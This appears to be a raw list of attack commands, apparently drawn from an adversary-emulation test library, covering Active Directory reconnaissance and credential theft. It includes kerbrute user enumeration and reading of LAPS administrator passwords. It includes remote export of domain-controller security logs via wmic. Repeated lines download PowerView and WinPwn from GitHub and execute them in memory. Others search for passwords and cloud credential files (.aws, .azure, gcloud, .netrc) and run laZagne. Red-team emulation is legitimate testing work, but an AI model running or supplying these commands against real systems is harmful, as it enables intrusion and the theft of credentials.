net user /domain
net group /domain
net user /domain
get-localgroupmember -group Users
get-aduser -filter *
query user /SERVER:#{computer_name}
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1' -UseBasicParsing); Get-DomainUser -verbose
cd "PathToAtomicsFolder\..\ExternalPayloads"
.\kerbrute.exe userenum -d #{Domain} --dc #{DomainController} "PathToAtomicsFolder\..\ExternalPayloads\username.txt"
Get-ADComputer #{hostname} -Properties *
Get-adcomputer -SearchScope subtree -filter "name -like '*'" -Properties *
Get-ADComputer #{hostname} -Properties ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime
& "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -h #{domain} -s subtree -f "objectclass=computer" *
& "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -h #{domain} -s subtree -f "objectclass=computer" ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime
$target = $env:LOGONSERVER
$target = $target.Trim("\\")
$IpAddress = [System.Net.Dns]::GetHostAddresses($target) | select IPAddressToString -ExpandProperty IPAddressToString
wmic.exe /node:$IpAddress process call create 'wevtutil epl Security C:\\ntlmusers.evtx /q:\"Event[System[(EventID=4776)]]"'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
generaldomaininfo -noninteractive -consoleoutput
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
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